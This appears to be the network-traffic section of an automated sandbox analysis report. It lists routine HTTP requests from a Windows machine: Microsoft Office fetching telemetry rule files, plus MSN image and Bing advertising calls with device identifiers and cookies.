Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241120T175812Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7269a223d746496cad90cd082d208197&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=593980&metered=false&nettype=ethernet&npid=sc-88000045&oemName=qpklgl%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=qpklgl20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=593980&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAe21EF+Rxpq8kmMBdNHwaizEVjwJwFsi9LtZpFv3ILy2o3iFAxxDU9aix+hlov70JF2lFQuoNfWosftgtbmXyubdR6jMFZgMNu3TNpVnDKy5TCXwjQCxkGPmBI4ql7W62eRT56W167QsU6lk9aloS+XdVOlhuoVfw8nth6I21HBji7SI+y1rwF3dENsML0ULkxRnYiLZ4q271194FKtqEHudSH6RonI733c2NK8WDPyPBjPoiBL0iNr3ZFd/x1dMXs20NBiVlcCCmLoIt9viMDAb3GgtzFSH+c45XrMrWpoGTe6HeQj84fNw3cl65ckrwHXUqd9Sjt9djzD2WH3HGisQZgAAECGs1f5hiDJ39EsbAqLE5qywAZUXY7C3643/KbGAL7lskM/yp052XwVPi0gX8mRL6cHYLYyUCmoBAMiGh327mhgeOHCltAAkV45Opx84k94K/Pqt1G9rWL/y9NMhF6anR5SSn7BSw0CMWY3sdgZZdQTO1L0xp3b5EIDaL9Owra/ewTMKEoi9HV0Fn0yQKOE5grhNQtt/uSyfNPZ/JlildB+9wgfEdYn9hQvx26rtor9RgwUt7aAv+lRF3Q8Htvct06xKprBZVAZdmnaQRKSnxXdl8zehU9E/8auJSYK86r0dKMmI2qyP6TdOVZp2Aqb6xCG7TipdNOAFpB3APHzrALNvokY9bHVadQHNKaH6AnuDlRxefg6NZ4rlrxpBePZLP004oyUEIJuNSGlN9XfdO1ghmOzhaywZLvsR4HyR4XLmIAbmcfYorfWEfCN8V/3u78gDGvTo9KBN+HO3sDx8hLvsPLD9wXD5cTymQknUqUsXR2nlznPY1wPwYwu5S+IVQFhkKpHkUfplB+JPkyJ/X5VfP2vvc8uaNxQa/1SEc9IAPtTTOQmgb0GLbMGrB5uB/00Rm+KR+XI8JMAkUeqqWeovl9cB&p=Cache-Control: no-cacheMS-CV: CgidptJnjk+qdcJ1.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8ZMkPn0LrJmJRag4LkZDYzzVUCUwRZmLFPkg_cCu_hjG3zqouTWUYJKjVc3_D49GIgGsjkFGBY1Et3MUTSa9a0UyLIBc30bEry7u9P3h6dqEJfEm6-RW2iulT3EurOd4KcdC78M2uz-_UEbxOHcaaK9doj38d0KVdPsmIJQ0I7fRm7chR%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3Da004b91910a9160f3fb7de2733b2f17f&TIME=20241120T175813Z&CID=531538185&EID=531538185&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /aes/c.gif?RG=bdcaacfad86f41f1867b55f3efb38bfe&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20241120T175813Z&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: www.bing.comConnection: Keep-AliveCookie: MUID=392BF33996156B17271DE604979F6AF8
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8ZMkPn0LrJmJRag4LkZDYzzVUCUwRZmLFPkg_cCu_hjG3zqouTWUYJKjVc3_D49GIgGsjkFGBY1Et3MUTSa9a0UyLIBc30bEry7u9P3h6dqEJfEm6-RW2iulT3EurOd4KcdC78M2uz-_UEbxOHcaaK9doj38d0KVdPsmIJQ0I7fRm7chR%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3Da004b91910a9160f3fb7de2733b2f17f&TIME=20241120T175813Z&CID=531538185&EID=&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=392BF33996156B17271DE604979F6AF8; _EDGE_S=SID=0BE389DDD1D66BD219259CE0D0CE6AAE; MR=0
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
